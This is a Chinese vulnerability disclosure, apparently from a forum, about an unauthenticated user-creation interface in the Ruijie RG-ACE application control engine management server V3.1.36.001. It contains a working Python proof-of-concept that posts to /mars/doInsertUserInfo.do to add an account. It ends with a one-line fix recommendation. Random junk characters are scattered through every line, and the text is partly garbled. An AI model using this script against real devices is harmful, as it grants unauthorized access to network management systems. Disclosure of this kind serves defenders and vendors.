锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低) J2 b* `- g, G1 h2 D
) u. R" y/ q' t# z R' o# H/ K9 g1 _6 P! I) r# {& a L. m4 a
测试的具体版本是
- W2 c P! T& {; ^; s产品名称: 锐捷应用控制引擎
% O0 n, m+ ?( y3 ~6 L) ?& ~版本号: 3.1.36.001 TC: W4 K* u: w/ r+ U
编译时间: 201104291730
: K# |$ Y+ e0 \" J8 u . f0 \3 }' L1 o- L; [+ S/ q
$ J5 N+ Z) ?% |- X' A( B漏洞证明:
( P% Y) F7 G, ?- [4 u ^
0 X. l2 K8 ?: B3 ^% b: G$ F/ y
/ t* A$ z# ^4 U G1 z. c# [+ a+ v- {. K9 R
2 h, f3 ~/ n6 W/ u0 d
! y# A" _6 z! D0 K# x4 z; b9 X
( v9 G, y0 i { m执行脚本
, U+ k, O: s2 [9 ~( k5 N* k#! /usr/bin/env python
6 f/ ?5 D# K, S6 H# d1 ?6 l#coding=gbk
, W( X1 Q2 @* q/ D#RG-ACE管理服务器 V3.1.36.001
* w' Z. e9 b) a" E, timport urllib2, urllib,cookielib0 `' s! r4 g: K# F
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
5 I! c7 o- Y* E+ s) a" a8 N0 Kopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))" Y( Y$ E+ Q% R' e! G" C" ^
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
$ ?# I+ E ~3 e M/ Npost=(("event","userManager.doInsertUserInfo"),& M# I4 x6 D5 K: W) a( W
("useractionname","addButtonValue"),
! _ O x! j$ D( Z("useropermanager","userManager"),
# B: v; S- G' s; `7 ]("userName","t"), #######账号自己加4 @/ n; g3 p/ t: J: W2 ]8 v
("pwd","aaaaaa"),######密码自己加; p$ ?; K6 O3 Q% t+ |9 c+ G& S
("trueName","ad"),1 `; a, m% P& S7 ]3 a% O
("email",""),
0 ~, y' z" N. `# x% ?("mobilePhone",""),
1 E1 X( G9 y; v! w" l("officePhone","")," G% P5 \ {- N% d- q
("addr",""),
& g: }( `: A: e# g8 M+ J/ G("submit","确定"))* o; Y0 ~5 V5 j3 @4 t" S
urllib2.install_opener(opener): Y' C3 K# I1 Y g+ H/ P I
p=urllib2.urlopen(url, urllib.urlencode(post)).read(); E) a" @# q6 K2 x9 P" C
print "Done"6 Z4 f% W. } z) l3 ^! q5 M
8 c/ s/ @* c% p7 w
登录,连接设备+ k$ O" Y* Z- ~# e# P
: o( u% x- q, x6 I
6 L' h V9 j& I( B) S: O3 _
8 a A$ p3 }! A! O5 I% e$ l% R% Z$ Y& ]
1 M/ i0 o! o9 o6 ^& X默认的管理员admin权限更大点
" R }- M. B- a n$ M- A9 R5 }( j X$ [8 S$ u
% N, L4 O3 g* c( Y& ?/ A" e) O3 I3 E# g
, I' g! m% o @3 q/ [9 i( ]- U( k. {3 Q$ C; }
修复方案:
& ~! f+ n! v5 L7 {0 j加强对接口的权限验证" s3 D! V% \2 k7 R4 A& g) i7 F
0 n! |7 M. x1 y- |4 s
|